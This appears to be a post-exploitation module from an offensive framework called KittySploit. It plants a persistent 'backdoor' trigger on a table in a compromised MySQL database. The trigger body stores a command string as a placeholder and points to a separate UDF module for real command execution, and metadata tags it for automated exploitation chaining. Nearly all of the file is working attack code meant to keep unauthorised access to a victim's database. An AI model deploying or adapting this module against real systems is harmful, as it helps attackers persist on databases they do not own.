MySQL Trigger Backdoor

from kittysploit import *
from lib.protocols.mysql.mysql_client import MySQLClient

class Module(Post, MySQLClient):

	__info__ = {
		"name": "MySQL Trigger Backdoor",
		"description": "Create a malicious MySQL trigger that executes commands - requires TRIGGER privilege",
		"author": "KittySploit Team",
		"session_type": SessionType.MYSQL,
	'agent': {
	    'risk': 'intrusive',
	    'effects': ['active_exploitation'],
	    'expected_requests': 2,
	    'reversible': False,
	    'approval_required': True,
	    'produces': ['risk_signals'],
	    'cost': 1.5,
	    'noise': 0.5,
	    'value': 1.0,
	    'requires': 	    {'min_endpoints': 0,
	     'min_params': 0,
	     'tech_hints_any': [],
	     'tech_hints_all': [],
	     'specializations_any': [],
	     'risk_signals_any': [],
	     'auth_session': False,
	     'capabilities_any': ['db_access', 'rce', 'shell', 'file_read'],
	     'capabilities_all': [],
	     'confidence_min': {},
	     'confidence_min_any': {},
	     'endpoint_pattern_any': [],
	     'param_any': [],
	     'api_surface_ready': False},
	    'chain': 	    {'produces_capabilities': [{'capability': 'db_access', 'from_detail': ''}, {'capability': 'rce', 'from_detail': ''}],
	     'consumes_capabilities': ['shell'],
	     'option_bindings': {},
	     'suggested_followups': []},
	},
	}	

	database = OptString("", "Database to create trigger", True)
	table = OptString("", "Table to attach trigger", True)
	trigger_name = OptString("kitty_trigger", "Trigger name", True)
	command = OptString("id", "Command to execute when trigger fires", True)

	def run(self):
		"""Create malicious MySQL trigger"""
		try:
			# Check TRIGGER privilege
			if not self.check_privilege('TRIGGER'):
				raise ProcedureError(FailureType.NotAccess, "TRIGGER privilege required")
			
			print_success("TRIGGER privilege confirmed")
			
			self.use_database(self.database)
			tables = self.list_tables()
			if self.table not in tables:
				raise ProcedureError(FailureType.NotFound, f"Table {self.table} not found in database {self.database}")
			
			try:
				self.execute_query(f"DROP TRIGGER IF EXISTS `{self.trigger_name}`")
			except:
				pass
			
			print_warning("MySQL triggers cannot directly execute system commands")
			print_info("This module creates a trigger that logs to a file (if FILE privilege available)")
			print_info("For command execution, use UDF modules instead")
			
			trigger_sql = f"""
CREATE TRIGGER `{self.trigger_name}`
AFTER INSERT ON `{self.table}`
FOR EACH ROW
BEGIN
	SET @cmd = '{self.command}';
	SET @result = CONCAT('Trigger executed: ', @cmd);
	-- Note: Actual command execution requires UDF
	-- This is a placeholder for demonstration
END
"""
			self.execute_query(trigger_sql)
			
			print_success(f"Trigger '{self.trigger_name}' created on table '{self.table}'")
			print_info("Note: For actual command execution, use mysql/exploits/udf_command_exec")
			
			return True
			
		except ProcedureError:
			raise
		except Exception as e:
			raise ProcedureError(FailureType.Unknown, f"Error creating trigger: {e}")